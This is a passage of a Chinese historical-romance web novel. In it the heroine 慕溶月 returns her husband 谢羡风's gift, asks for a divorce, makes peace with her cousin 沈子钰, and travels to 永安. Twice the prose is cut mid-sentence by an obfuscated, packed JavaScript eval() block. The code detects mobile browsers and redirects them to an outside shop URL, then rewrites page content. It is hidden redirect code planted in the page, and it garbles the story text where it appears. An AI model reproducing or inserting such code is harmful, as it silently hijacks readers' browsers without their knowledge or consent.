那晚,她守了他整整一夜。 谢羡风凭着军械一案,自此在京城声名鹊起。而他的伤势也很快痊愈,总算是有惊无险。 那时,慕溶月高兴地以为,是她的祈福奏效了,是她的平安符护了他。 直到,她再次来到王府探望谢羡风,却无意中撞见了他与亲信刘彰的对话。 “哥儿,车马已经备好了,就在门口候……”他话还没说完,便一眼瞧见了门口的慕溶月,吓得立马站直了身子,“……慕二娘子。” 慕溶月认出了刘彰,明白他便是谢羡风身边的人。蓦然间,她睁大了双眼:“……站住!” 紧接着,杏雨也像是觉察出了端倪,猛地向刘彰靠近,最终,一把抓起他的衣袖。 “你这腰带上……系着的是什么?” “这……这是……”刘彰很快反应过来,她指的是那枚坠了玉佩的香囊。这原是谢羡风的物件。刘彰一时心虚,一动也不敢动,僵在原地像块木头,窘迫地望向了始作俑者的方向。 却还不等他反应,杏雨已然劈手将那香囊夺了过来,定睛一看,惊愕道:“这不是我们家娘子送给谢大人的护身符吗?” 轰的一声,如雷贯耳。 慕溶月忽地愈发冷静下来,她神色凝重得可怕,几乎是一霎间便醒悟了过来。 她缓缓地扭过头,看向了谢羡风。 “我给你的那香囊,你为什么要给他?” “阿羡……你为何不作声?” 谢羡风无声地迎着她的目光,神色波澜不惊。 顷刻,他才开口道。 “你发现了,也好。” 慕溶月一颤。 谢羡风冷着脸,双眼空寡,终是转过了身去,闭目沉思道:“慕二娘子,从今往后,请不必再对下官费心了。” 字字烙印在慕溶月心尖,宛若烫出了一个伤口,只留下密密麻麻的疼。她总算听明白了:“你是在威胁我吗?难道,你想告诉我,今后倘若我再敢送你任何东西,你便扭头扔给旁人?” 谢羡风蹙起眉头,沉默了起来。 他没有为自己辩解。 从前,慕溶月总是以为,谢羡风的沉默寡言是一种冷静沉着,一种高风峻节,一种君子淡如竹的清冷。 但今天,她却第一次觉得,他的沉默寡言,对她来说,是一种残忍。 他甚至就连一声抱歉也不愿对她说。 9. 认错(修) 清月阁内,慕溶月似是在自嘲一般轻笑起来。 “后来,我才明白,原来那日的春日宴一结束,他便将我的香囊转手扔给了旁人,还打着母亲的幌子,说是‘长公主嘉奖侍卫队护主有功,赏赐的宝物。’他明明知晓我对他的心意。我对他的好,在他眼里,不过是麻烦一桩罢了。” “我真傻。”慕溶月望着盆中的炭火,双目渐黯,“在他的眼里,那香囊,谁拿了都是一样的。他这般羞辱我,为何我现在才醒悟?” 那日,她病昏了头,恍惚之中又梦到了此事,这才猛地惊醒,顶着头晕目眩坐直了身子,用尽全力挣扎,从深柜中取出了那枚早已泛黄褪色的香囊。 最后,愤而将那香囊撕开,发狠地扔在了地上。 那绣囊中的香料洒落一地,玉佩也裂出了道道缝隙,残渣溅落了一地。 她将宣纸落于桌案,提笔挥毫写下了“解怨释结,更莫相憎;一别两宽,各生欢喜”。 落下最后一道笔画时,慕溶月长舒了一口气,心中的怨怼也终是消散了大半。 曾经令她伤痛欲绝的往事,如今想来,好似黄粱一场梦。亦如曲终人散后,江水依旧东流,峰峦叠起,青山依旧。 这香囊曾寄托了她对他的执念。如今,她终于是能真正放下了。 杏雨见慕溶月这般伤怀,也情不自禁地感伤起来:“小姐今日是怎的了,总想起这些往事来。” “只是觉得,自从我嫁给谢羡风,便好久没有同表哥来往了。”慕溶月叹道,“若是为了一个不值得的人,而伤损了家人之间的情分,当真是得不偿失了。” 杏雨一顿,欣喜道:“小姐这是,想起沈大人了?” 慕溶月颔首道。 “等我身子好些了,便去探望子钰哥哥吧。” “自从发生了那事后,沈大人一直对小姐心怀有愧。虽然这数年间未与小姐见面,但沈大人却始终关心着小姐的近况,前几日得知小姐回了公主府,还特地遣人来府上问候了呢!” 杏雨也很高兴慕溶月终于释怀了旧事,“若是沈大人知道小姐主动想要见他,定会高兴得不得了呢!” *** 慕溶月留在家中调养了几日,在太医悉心的照料下,她的气色也终于红润了几分。 这日,杏雨小跑进了暖帐,看向慕溶月,忐忑不安地传话:“小姐,是谢将军来还琴了。” 慕溶月先是迟疑了一秒,随即放下了手中的书卷,敛裙起身。 “他来了也罢。正好,我也有些东西想还给他。” 这几日,她闲时便会整理旧物,翻出来了不少昔日的物样。 慕溶月来到了正堂内,谢羡风已然在屏风后坐下等她了。透过屏风的轻纱,她依稀可以看见谢羡风的身影。他静默地坐着,四指轻覆在桌上的那把琴筝之上,神情若有所思。 “谢将军。” 谢羡风闻声抬起头来,慕溶月微微福身,是疏淡而清幽的笑。 谢羡风食指用力,将琴筝推在了她的眼前。 “若不是亲眼见到这把筝,我几乎要忘了,你曾是会弹琴的。”他凤眸狭长,眸光幽暗,带着一丝试探,“你都会什么曲子?不如弹给我听。” 慕溶月愣怔了几许,随即苦笑了一下。 “将军说笑了。” 她喉头干涩,却是牵起唇角反问,“将军难道忘了吗?当初,是将军说府中不能出现丝竹之乐,才叫妾身收起琴筝的。” 话音落下,谢羡风终于想起来了。 怪不得成婚的这三年,他从未见慕溶月抚琴奏乐。原是三年前,她在对琴吟唱时,他无意间路过,那时心中烦闷,便随口扔下一句无心之言。 “这丝竹聒噪不堪入耳,往后我不想再在府内听到这等靡靡之音。” 想不到,慕溶月当真了。 这一忍便是三年。 其实平心而论,如今想来,当时的那琴声并不刺耳,反倒婉转动听。谢羡风自己也明白,单论琴技而言,在临州城,慕溶月称第二,无人敢称第一。 他只是在借故打压慕溶月罢了。 结果,慕溶月就这般压抑着本心,真的忍了三年没有再碰一根琴弦。 到头来,却是谢羡风最先将自己说过的话忘了。 如今,这琴音,是想听也听不到了。 慕溶月垂眸示意,杏雨便上前接过了琴筝:“多谢将军了。” 谢羡风眸底结上了一层霜,定定地瞧着慕溶月。 “你就没有什么想同我说的吗?” 慕溶月回眸抬手,杏雨便会意地抱着琴筝离开了,临走时还为两人轻掩上了门。 她回首,郑重其事地望着谢羡风:“有。” 谢羡风直起了身子,正要洗耳恭听,慕溶月却道:“今日,我也想借此机会,向将军讨要一纸和离书。” 竟是想说这个。 谢羡风的神情有转瞬的僵持。 “若没有臣女,将军早就娶了心爱之人,便必定不会是如今这般光景了。”慕溶月说到一半,忽而退开半步,福身行了个端正的礼,“所以,臣女今日是来向将军认错的。” 谢羡风蹙起眉头。 “认错?” 慕溶月望着谢羡风的眉眼,不知怎么,忽地想起了新婚那夜,他揭开她的红盖头,却是蓦地冷下了脸。 那是她第一次见他失控,低吼着质问她,将莫盈儿送去了哪里。 直到那时,她才如梦方醒地领悟,原来,他爱的一直都不是她。 “我并没有胁迫她,是她自己找上我,想与我换亲!阿羡——你为何就是不肯信我!” 任凭她如何流泪辩解,他却始终不为所动。 一直到,哭得筋疲力尽,泪水将喜袍浸透。 “既然你一心想娶莫盈儿,为何不早些向我坦白?为何要瞒着我这样久!我曾亲口问过你,我问你有没有心仪之人——你否认了,是你自己否认的!”慕溶月早已是声嘶力竭,一切悲鸣是那般的无力,“我那时还很高兴,以为自己又有机会了……我才会想着,为自己争取这最后一回……” “我向你坦白?”可谢羡风却是怒极而笑,嗤地一声冷哼,“我如何坦白?” “你素来有大小姐的脾性,从不讲理,蛮横刁钻。我只有隐瞒下对盈儿的感情,才能完全地将她保护起来。” 原来,是怕她恼羞成怒,加害于他的心头白月光。 他其实也对她不甚了解,虽然无法认定,她在得知此事后一定会迁怒于莫盈儿。但他却还是那么做了——只为有备无患。 原来,他爱莫盈儿爱到宁愿自己承担一切欺上瞒下的罪责,也不愿她受到一分一毫的伤害。 原来,在他的眼里,她不过是一个桀骜任性、不择手段的善妒毒妇,一个随时可能妨碍他的隐患。 “你……你就是这样看我的。”慕溶月赫然睁大了双眼,沙哑的嗓音也止不住地发颤,“谢羡风,在你眼里,我就是这样的不堪?” 谢羡风瞳中尽是讥刺:“事实证明,我想的没错。” 慕溶月头痛欲裂,心如刀割地问:“所以,初见你那日……你为我捏泥,哄我开心时,心里也是这般想的吗?” 对她突然插入的话题,谢羡风却只是紧皱眉头,一脸的不解。 “你说什么?” 原来,他早已淡忘了。 果真是讽刺啊。 她放在心尖儿上的他也曾在意她 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那般的凉薄,不留情面,仿佛已经将她宣判了死刑。 面对谢羡风漠然的背影,慕溶月却不知该如何去解释——在那样的境况下,她又该如何去解释? 她解释不了。 她只有认下了一切的罪责。 回忆逐渐模糊,慕溶月看了一眼面前的谢羡风,端庄地垂眸,合手,弯腰——是以请罪的姿态。 “强人所难,为妾身之一罪。” “擅作替婚,为妾身之二罪。” “执迷不悟,自取其咎……为妾身之三罪。” 说到最后,她终是痛苦地闭上了眼。那字字诛心,好似刀剑刺在心口,剜开皮肉,刮骨剥筋。 所幸,她终是领悟了。 时至今日,她终于得以从这歹毒的诅咒中解脱了。 谢羡风的心绪也彻底乱了。 他垂头看向眼前人,他们二人分明近在咫尺,却好似生生横隔了一堵密不透风的墙。隔着墙,慕溶月眼神清明,如冷冽山泉,看不到一丝的感情。 谢羡风移开了眼,慕溶月却没给他逃避的余地,继续说了下去。 “对不起,耽误了你三年,没能让你如意娶到盈儿。这般伤人害己的行径,我往后不会再做了。” 谢羡风终于忍不住了。 “你此时提起她,又有何用?一切皆是枉然。” 慕溶月却骤然打断了他的质问:“我知道,盈姑娘一直是将军心中的一个结。这个结,终酿成了心魔,重伤了你我。” 她说到后面,语气也渐渐柔和了下来,仿佛真的已然释怀了,“但是,谢将军,从今往后,你不必再压抑本心了。你可以去做任何你想做的事,去爱任何你想爱的人了。” 谢羡风久久地沉默,忽而拧起眉心,反问: “你方才叫我什么?” 他直到这时才注意到,不知何时起,她不再唤他“阿羡”了。 慕溶月只是不以为意地笑了一下,继而亲自拿出了一盒方箧。 那木箧只有巴掌大小,慕溶月又亲手将它打开,露出了里面的物件。 “这些,便是这些年来,将军曾赠予我的礼物。如今,我想把它归还于将军,算是两不相欠了。” 那敞开的箧子里,只有一样东西。孤零零的,躺在里头。颇具几分讽刺意味。 那是一顶泥涅的笠帽。 他盯了片刻,终于认出来了。 那是他初见慕溶月时,恰逢她的泥人被摔碎了半边脸,他为了哄她开心,随手捏的笠帽。 除此之外,再无别物。 10. 宋景渊 反观他呢? 谢羡风自知,她赠予他的礼物,他是还不出来的。 从食膳,到书画;亲手缝制的香囊,御赐的上好锦缎、或是酒酿、瓷玉……还有数不清的书信来往。 多到,就连谢羡风自己都已经记不清、找不到了。 除此之外,慕溶月还是个挑不出错处的当家主母。在他出征的日子里,她独自将他的家打理得井井有条、措置有方。上到家产打理、权贵往来,下到家奴们的安置与差遣、邻里妯娌、鸡毛蒜皮,她从未让他操过一分一毫的心。 就连他日常所用的吃穿,她也从不用他费神。每每总是天气还没转凉时,她便已经亲手缝制好了他过冬的里衣。 谢羡风这时才发觉,他们之间究竟是谁亏欠了谁,早已算不清了。 如今,慕溶月把话都说完了,谢羡风已经无话可说了。 谢羡风扭头不去看她的脸,他心中酸涩,涌动着一股说不出的感觉。 “慕溶月,你是真的要同我和离吗?” 慕溶月不假思索地点头,认真道。 “是。” 她已将他的物品都悉数归还,这便是要与他划清界限。 谢羡风缓缓吐出一口浊气。 “好,那我便满足你。” 他再度扭过头来,直起了身。冷眸微眯,目光幽深。只定定道,“索性,就当是圆了我多年的愿望。若没了你,我早已与盈儿成婚,会过得更好。” 这般狠绝的话,慕溶月听了,却只是莞尔一笑。 “将军,你终于肯说出真心话了。” 当年之事,他还是不信她,认为是她强拆鸳鸯,狠厉地赶走了莫盈儿。 不过,如今,这些都已经不重要了。 谢羡风转过了身,黑袍在空中带起了一阵风。他没有回头,而只给慕溶月留下了一个颀长的背影。 “过几日,我会叫人把和离书送来公主府的。” “好。” 一句多余的话也没有。 一个要走,一个也不打算留。谢羡风大袖一挥,守在门外的侍卫便一拥而起,他阔步上了马车,车轿的扬尘很快便消失在了街道的尽头。 “小姐……” 杏雨生怯地回到了慕溶月身边,仔细地瞧着她的脸色,像是想找出她是不是还在暗自伤心。 可慕溶月的神色却很平淡。 那样的淡然,不着痕迹。静得仿若一潭死水。 “带我回去吧。” *** 慕溶月留在清月阁静养了半个月,终于寒症痊愈了大半,闲暇时,也有心情走到院子外去赏雪了。 这日,清月阁来了位稀客。 先是沈惠心带着亲自熬煮的鸡汤来看她,母女俩围坐在热气氤氲的炭火盆旁,沈惠心忽地问:“月儿,你的身子可好些了?” “回母亲,已经好多了。” “那便好。”沈惠心一面轻抚着慕溶月的鬓发,一面意味深长地说,“院子里的蜡梅开了,你若有空,便去看看吧。” 慕溶月不傻,自然听出了沈惠心的言外之意。 待到沈惠心一走,她便好奇地问杏雨:“是谁来了?” “小姐,是沈世子大人。”杏雨笑着答,“他一听说小姐要和离的事,立马坐不住了。其实他早就想来探望小姐了呢!” “噢,原来如此。”慕溶月点了点头,“也好,我本想着过几日去王府拜候舅父,这下倒省得我跑一趟了。” 沈子钰毕竟是沈惠心母家的人,又和慕溶月有着青梅竹马的情谊,沈惠心自是希望二人能冰释前嫌,才会亲手搭这个桥。 慕溶月也没白费母亲的心思,顺势下了这个台阶。她回了后厢梳妆一番,再来到了花苑里。 那蜡梅开得正盛,花影缤纷,结于白雪之中。清风徐来,带动阵阵花香。 晃动的枝头间,一名男子立于其间,他身姿挺拔,气宇不凡,独坐在凉亭之内,似是在等着什么人。 “子钰哥哥。”慕溶月轻唤了一声。 那男子闻声回头,见到不远处的慕溶月,她盈盈一笑,雪梅衬着她的冰肌玉骨,甚是好看。 沈子钰连忙快步而去,明眸皓齿,欣然笑了起来:“月儿,好久不见。” 他停在了慕溶月跟前,目光上下打量,一寸寸掠过她的脸,顷刻间,歉疚又浮上心头。 “你清减了许多。”沈子钰叹道,“姑母说你病了,我找太医开了许多药膳送了过来,也不知有没有效果?” “你送的那些药膳,我都收到了。”慕溶月却是烂漫地笑着,还福身行了个礼,“多谢子钰哥哥对月儿的关心。” 见她这般发自肺腑的笑容,沈子钰也长舒一口气,心中暗暗多了几分庆幸。 “看到你如今病愈了,我自是高兴。”沈子钰也随之笑了起来,却又踌躇了几许,终是鼓起勇气问道,“月儿……我听说,你要同谢羡风和离了?” 慕溶月顺势应了下来,也没有要瞒着他的意思。 “嗯。” 沈子钰倒抽一口凉气,又小心翼翼地暗忖问:“月儿,你已经……不恨我了吧?” 慕溶月敛起了笑容,一言不发地转过了身去。 沈子钰的心登时又悬了起来。 “当初,得知你便是代谢羡风向莫家提亲的人,我确是有些伤心。”慕溶月背着身,层叠的树影盖住了她的眉眼。那声音很轻,轻到几乎融进了风里,“我以为……至少你会懂得我。” 沈子钰长叹了一口气。 慕溶月记恨他,他并不意外。那时,她是真心把他当成亲哥哥一般,才会事事都与他交心。可他却对她有所隐瞒,明知她在追逐一个永远不可能追到的影子,却从来不说;甚至扭头就替她心爱之人去向别的女子议亲……这换了谁,都是接受不了的。 可是,那年的事,他的确是有着难言之隐。 那时,谢羡风为了救他,身中毒镖危在旦夕。醒来之后的第一件事,却是艰涩地跪在了殿前。 “你想求我为你议亲?” 闻言,沈子钰的脸色当即便沉了下来。 他第一反应,还以为谢羡风是想向他求娶表妹慕溶月。 其实他早就看出了慕溶月对谢羡风怀着异样的情愫,只是他也明了两人身份地位的差距,所以便只当这是一场春心荡漾的悸动,不过是寻乐的玩伴,终会成为过眼云烟罢了。 但想不到,这个区区二等侍卫谢羡风如今竟吃了熊心豹子胆,敢挟恩以图报,算盘都打到他头上来了。要他去做那个恶人,助他求娶长公主的嫡女?他怎么敢的? 见到沈子钰的反应,谢羡风便径直跪在了地上,保持着求请的姿势,语气却笃定不移。 “下官不求家财万贯,此生唯有一个心愿,但请主君成全。” 见他如此深情款款的模样,沈子钰却是嗤之以鼻地扭过了头。 “呵,你的嘴皮子倒是厉害。你若是娶到了她,何惧往后没有黄金万两?羡风,我一向看重你,却想不到,你竟是这般贪慕虚荣之人。她不懂事,难道你也不懂吗?” 闻言,谢羡风动作一滞:“……下官愚钝,不明白主君的意思。” 还在装傻。沈子钰压抑着烦闷,指着谢羡风的额头问。 “我问你,你对她,可是认真的?” 谢羡风郑重地迎上了他的目光,颔首。 沈子钰长长地叹了口气。 “可这高枝,不是谁都能攀的。”他语重心长地劝诫道,“你可知道,陛下听闻了你的事迹,正打算调你去做城守尉外官,连升两阶,功成名就。你的未来还很长,前途无量,又何必去走这样的捷径呢?” 谢羡风蹙起眉头,似懂非懂一般。 “微臣多谢陛下的恩泽。”他顿了顿,又道,“但是,我对盈儿是真心的。我想娶她,并不为荣华富贵,也不为加官进禄。” “什么?”沈子钰这会终于反应过来了,“盈儿?” “正是。”谢羡风颔首道,“太常少卿之女莫盈儿。” “什么,你说你喜欢的是太常莫家的那个小庶女?” 沈子钰略有耳闻,知道那莫盈儿是莫太常卿一个外室所出的小庶女,也不甚得父亲的宠爱,平日只是养在府里,鲜少露面。 见状,沈子钰羞惭地转过了身,揉了揉鼻子,来回踱步。 一个出身卑微的城守尉,一个太常少卿的小庶女,的确用不上高攀一词。是他误解了。 他原以为,他们二人是心意相通的。现在看来,这恐怕只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“起初,我的确怨着你。我怨你明知我对他的心意,却瞒着我为他向别人提亲;我怨你明知他并不爱我,却也从来不与我说……”慕溶月顿了顿,脸上忽而展露出了一丝笑意,“可后来,我慢慢地想通了。想通了,也就释怀了。这些不过是陈年往事,如今都已不重要了。” 慕溶月明明是在宽慰他,可沈子钰心中却酸苦交织。几番欲言又止,终是悻悻地闭上了口。 其实,他曾是想过要说的。 那时,他犹豫了好久,思考是否要将自己知晓的事向慕溶月和盘托出。但又明白,在这感情之事里,他只是个外人,无论说与不说,都是错。他夹在其间,也很难做。 倘若月儿自己能悟出来是最好。感情的事,谁也强求不来,这个道理,沈子钰本是明白的。 更何况,他自知慕溶月性子单纯。也实在不知该怎样说,怕惹得她伤心啊。 最后,沈子钰思来想去,决定去向姑母打听。 那时,沈惠心正好在张罗着与宋国公一家议亲。沈子钰旁敲侧击地问了姑母的意思,沈惠心自然也听出了他的弦外之音,只是宽和地笑出了声,道: “月儿她还小,哪里懂什么是对她好的?我就这么一个女儿,固然自幼就对她是万般宠爱,可总归也不能护着她一辈子。只有为她铺好了路,才能保住她后半生的富贵顺遂。” 于是,沈子钰便明白,该怎么做了。 他原以为,如此这般便是为表妹着想,是为了她好。 可偏偏,就是这一份自以为是的“为了她好”,最后反倒酿就了她的万劫不复。 时隔多年,再度回想起来,沈子钰忍不住会想,若是当初他并没有自行其是,而是直接将谢羡风心属莫盈儿的事告诉了她,再由她自己去抉择,事情的结局……会不会截然不同? 可惜,事到如今,这些假设都没有意义了。 “月儿,你能不计前嫌,我已经很高兴了。”沈子钰话音一转,真诚地望向慕溶月,“从今往后,你若是有什么难处,大可以直接向我开口,我沈子钰定会倾尽全力护着你。” 慕溶月淡淡地笑了一下。 “谢谢表哥。” 两人默契地避开了不愉快的话题,开始顺着檐廊游逛赏花。 聊到兴中时,沈子钰忽然抬眸问:“月儿,你还记得宋景渊吗?” 慕溶月心中一颤。 宋景渊,宋国公。 她怎会忘记呢? 那毕竟是她当初逃婚的未婚夫。 11. 想通了 “子钰哥哥怎么突然提起他来了?” 见慕溶月面带困惑,沈子钰便解释了起来。 “是他近日来京城办事,顺道找到了我。他说,他下月便要回永安老家了。在他的老家,有个家喻户晓的冰嬉节,便想邀请你我同去他府上的除岁宴,和他一起观节。” 闻言,慕溶月与杏雨无声地对视一眼。 除岁宴,冰嬉节? 沈子钰也自知唐突,却还是硬着头皮劝道:“如今雪灾已经过去了,既然月儿身子也好些了,不如与我同去散散心,也沾沾人间烟火,兴许还能去去病气呢。” 慕溶月敛眸几许,踯躅道:“不是我不愿意,只是……新年之日,我本应和家人待在一起才是。” “若你是担心这个的话,大可以放心了。”沈子钰笑道,“其实,这也是姑母的意思。现在,便只看你的意愿了。” 原来都是一早就串通好了的。 慕溶月眨了眨眼,恍然大悟。她这时才明白,原来方才母亲所说的“赏梅”,指的便是这个“梅”。 慕溶月望向沈子钰,那看似温良无害的笑脸,摆明了写着“请君入瓮”四个大字。 …… 告别沈子钰后,天色渐沉。 慕溶月漫步在连廊下,杏雨围绕在她身侧,嬉笑地与她打趣。 “听说小姐嫁给谢将军后,国公爷却一直未娶。眼看着小姐要和离了,国公爷的请帖一下子便递到小姐面前了!若说巧合,这未免也太刻意了。” “小姐和宋国公大人,真是好一对欢喜冤家呢!” 慕溶月面上再端庄,此时也被她调笑得面红耳赤起来:“低声些。都多大的丫头了,还说这般不稳重的闲话,若叫人听见了可如何是好?” “沈大人说的那些话,小姐是怎么想的呢?” 慕溶月默了几许,只缓缓道:“我只是觉得……如今想来,当初的事,我的确还欠他一个解释。” 杏雨又咯咯地笑了起来。 “好哇!那咱们就随沈大人同去永安,亲自解释给国公爷听吧!” 说完,她便掩面笑着跑开了。慕溶月无奈地摇首,也是哭笑不得地追了上去。 “杏雨,我并无此意,你……可别再瞎起哄了!” *** 夜晚,灯笼高高挂起,围绕着三两萤火。 沈惠心倚靠在榻上,手中捂着一盏暖炉。她轻阖双眼,直到一阵轻快的欢笑声犹如朗月清风掀入了暖帐之内。 “母亲,可是在等月儿?” 慕溶月弯腰坐在了沈惠心的身侧,她方才同杏雨一路说笑而来,气氛好不欢愉。 沈惠心睁开了眼,目光便黏在慕溶月身上,移不开了。她找来太医在家中为慕溶月调养了这样久,如今好不容易才再度见到了她红润的笑颜,沈惠心也随之牵起了唇角,轻抚慕溶月的鬓发,充满了爱怜。 “我叫迎春为你留了一碟红豆包,这是你最爱的点心。” 迎春端来了糕点,慕溶月浅尝了一口,甜蜜的豆馅在唇边绽开,惹她轻笑起来。 “甚好,还是熟悉的味道。” 沈惠心望着她吃下了最后一口红豆包,才话音一转道:“我听说,你已经同意与子钰一同去永安了。” 慕溶月颔首应是。 “既是母亲的意思,女儿便会遵从的。” “你如今这样乖顺,为母倒是很欣慰。”沈惠心面上怡悦地点了点头,又问,“你已经不介意你表哥曾经的错处了吗?” “当年的事,我们各有难处。”慕溶月停顿了几许,却是莞尔笑道,“我已经同子钰哥哥把话说开了,如今,我心中也舒畅了许多,犹如心口的巨石终于落地了。” “你能体谅子钰,我也很高兴。”沈惠心感叹着,“我的月儿,终是长大了。” 慕溶月垂眸,若有所思。 今日的事,也给了她新的启发。 她如今才幡然醒悟,原来,爱的反面并不是恨,而是释怀。 恨并不会叫人痛快,唯有释然,才能让人真正的解脱。 所以,她决定与过去和解。 唯有原谅了不堪的从前,她才能看到全新的未来。 “只是,若说发自肺腑的心里话,月儿才了结了一桩婚事……现下,还没有那个准备去开始一段新的。”慕溶月垂下头,不敢看沈惠心充满期盼的眼,干涩道,“所以,宋国公的事……月儿恐怕要让母亲失望了。” 沈惠心忍俊不禁起来。 “傻丫头,母亲并未对你和宋国公有过这等期望,又何来失望一说?我叫子钰带你去永安散心,只是盼着你能换个心情罢了。” 慕溶月诧异地抬起眼来,沈惠心便解释道:“此行宋景渊在家中设宴,届时会邀请不少名门贵族。我只是想,既然你如今和离了,往日丢掉的东西也应当捡起来了。重新结交些京中人脉,于你总是有益处的。” 慕溶月颔首,“原是这样。” 诚然,从前的她太不明事理,才会疏于经营自己。加上后来又横空闹出了替婚这等子丑闻,如今,她早已沦为旁人闲话的谈资笑柄,在京中权贵小姐们之间也是声名狼藉。若要从头开始,首先的要紧事,便是洗刷她的一身丑名。 “我明白了。”慕溶月此时才明了沈惠心的良苦用意,她起身行礼,郑重道谢,“多谢母亲。” 沈惠心心满意足地望着女儿,感怀着岁月无常,时光如白驹过隙。 “月儿,我总觉得你变了,变得更成熟了。” 话音落下,却是若有若无的一声轻叹,融化在了暖风里:“可我却开始有些怀念你少时贪玩,缠着母亲任性撒娇的模样了。” 慕溶月无言以对,只能淡淡道。 “母亲,女儿总是会长大的。” 她留在谢羡风的身边,足足花了三年的时间,才终于明白,任性撒娇,是要付出代价的。 倘若承受不了这般的代价,再任性妄为,也只会让彼此变得难堪罢了。 沈惠心却不以为然,只是笑吟吟地看向她。 “但愿你能遇见那个重新让你变回小女孩的良人吧。” *** 将军府,书阁之内。 长夜漫漫,月色凄凄。案台上只亮了一盏油灯,阴冷的烛光映照在男人的灰氅之上,将他的侧脸也添上了几分灰凉。 谢羡风倚坐在长椅边沿,轻动下颌,却是久久不能落笔。 他的思绪游散,笔下自然没了着力。待到最后定睛一看,那空空如也的宣纸上半天只写了一行字。 解怨释结,一别两宽。 好一个解怨释结。 谢羡风微蹙眉头,眼前再度浮现了那个破碎不堪的香囊,被撕成两半的鸳鸯纹样。 他渐渐地回忆起了一切。 其实,那香囊,当初他并不是有意丢给旁人的。 只是在执行任务时,随手便放在了某处,后来才发现掉落了。 本想去四处找找,但是回头一想,倒也算了。 原也不是什么大事,不值得他这样大费周章。 谢羡风也是后来才发现,原来那香囊是被刘彰捡走了,便也随他去了。 慕溶月红眼质问他时, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14205748|150933||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他没有思考太多,索性,直接应了下来。 一来,他想借此事告诉慕溶月,不必再对他浪费时间了。 二来,其实,他也并不是很在乎慕溶月究竟会怎样看他。 只是,他没想到,自己随口的一句话,最终反倒酿成了慕溶月心中的一根刺,再也拔不掉了。 直到多年后的这一日,她亲手撕碎了那时自己满心的热忱和欢喜。 见到被撕破的香囊的那一刹,谢羡风先是有些惊讶。 不知怎么,自那之后,慕溶月向他提出和离的那画面,便始终萦绕在他脑海中,历历在目,驱之不散。 “强人所难,为妾身之一罪。” “擅作替婚,为妾身之二罪。” “执迷不悟,自取其咎……为妾身之三罪。” 疏离的话语,冷淡的眼…… 谢羡风半敛双目,眸光溢出一丝不满。进而抬起手,将宣纸撕碎,掸落在了地上。 下一秒,竹门外传来了刘彰的声音,他跪在门外:“将军,属下有要事禀告。” 不知怎么,谢羡风竟是舒了一口气,也撩起一旁的书卷盖住了半张宣纸。 刘彰推门而入,见到此情此景,几乎是瞬间便明白了。 将军这是在给夫人写和离书呢。 寻常的放妻书并不难写,只需以三言两语,言简意赅地阐明来由纠纷即可。所以丈夫往往提笔挥毫,三两下一气呵成。而到了他们将军这里,却总是三笔一停,踟蹰不前。 心中藏了事,落笔自然无处可寻了。 刘彰见着谢羡风一副甚是苦恼的模样,正在心头犹豫是装作没看见,还是故作关心几句。不等他想出个所以然,谢羡风却率先开口质问道:“我让你去查的事,如何了?” 刘彰意会到他是指打听那莫盈儿的事,便道:“属下去莫家问过了。莫家的大夫人说,盈姑娘自从三年前去了外祖家,便一直留在了那里,这么多年也没有回过京。剩下的情况,还没打听清楚。” 谢羡风的神色淡淡,看不出有太多的情绪。 “嗯。继续去查。” 得到首肯后,刘彰还站在原地没动,谢羡风便又问,“还有什么事?” 刘彰斟酌了片刻,“大人,方才圣上传了旨下来,是……” 他一面打量着谢羡风的神色,一面犹豫不决地释道,“是……指派我们护送陈太傅前往永安一事。” 谢羡风蹙起眉心:“去永安就去永安,吞吞吐吐的作甚?” 刘彰轻咳一下,认为此事还是很有必要提前向谢羡风知会一声,有备无患。 于是,凝神屏息地解释道:“是因为……年关将至,宋国公在家中设宴,宴请了许多贵客。” 谢羡风紧锁眉心,仍旧不解。 “所以呢?” “夫……不,慕二娘子也在那宾客名单之内。” 话音落下,谢羡风的神色果然倏地转冷。刘彰仍心有余悸,幸而他及时改口,要不然后果真是不堪设想。 僵持的缄默。 不知过了多久,谢羡风才哂笑着反问:“她去她的,与我何干?” 谢羡风的语气蕴含着几分寒意,刘彰一时不知该作何反应。 宋国公宋景渊正是慕溶月那原定的未婚夫,这件事,将军不会不记得的。 他如此这般反应,便是不想听了。 “是属下多嘴了。” 刘彰作揖请罪,“将军,属下先告退了。” 见到刘彰转身离开了书阁,谢羡风心中忽而升起一股无名的郁气,将狼毫扔在了砚台之上。 12. 一盒苏式点心 永安城。 雪停了。 一支船舶停在了河畔,在水面上掀起了圈圈涟漪。 人来人往的码头,宋国公派来的人马终于与慕溶月一行人汇合。 “慕二娘子,沈世子大人,公爷派的马车在那边候着了,请随奴婢来吧。” 沈子钰看了眼那丫鬟的身侧问,“你们公爷呢?” 丫鬟笑着解释道:“宋大人他忙于公事,会晚些到。不过他特地吩咐了,晚上要宴请二位贵客去桃花楼品茗饮酒,算是接风洗尘呢。” “桃花楼是永安最出名的酒楼了,据说常年一桌难求。”沈子钰低声在慕溶月耳畔道,“既然如此,月儿,我们先回去歇息片刻吧,正好一路颠簸也累了。” 慕溶月点头应好:“听子钰哥哥的。” 永安虽比不上京城繁华,却是出了名的商贾之都。每年都会有数不胜数的商队途径于此,热闹非凡。 慕溶月坐在宋景渊派来的车轿内,掀开窗帷,一路上看着沿途的市井小贩,倒也颇有几分新鲜。这些民间商市里新奇的小玩意,在京城可都是见不着的。 慕溶月此行开了眼界,也算是心满意足了。 马轿在门前停下,一行人被门童领着进了屋。这国公府果真气派,碧瓦朱檐,层楼叠榭,美不胜收。 慕溶月被带到了一间客房里,透过窗柩,可以看见院子里的迷人景致。 最吸引人的当数那一盘百花齐放的花坛。山茶、水仙、君子兰……一簇又一簇,端庄高雅,苍翠挺拔,素洁的花朵亭亭玉立于风中,显得格外动人。 杏雨又忍不住絮叨起来:“想来宋大人还记着小姐喜欢花儿,才将这院子也布置得花团锦簇呢。” 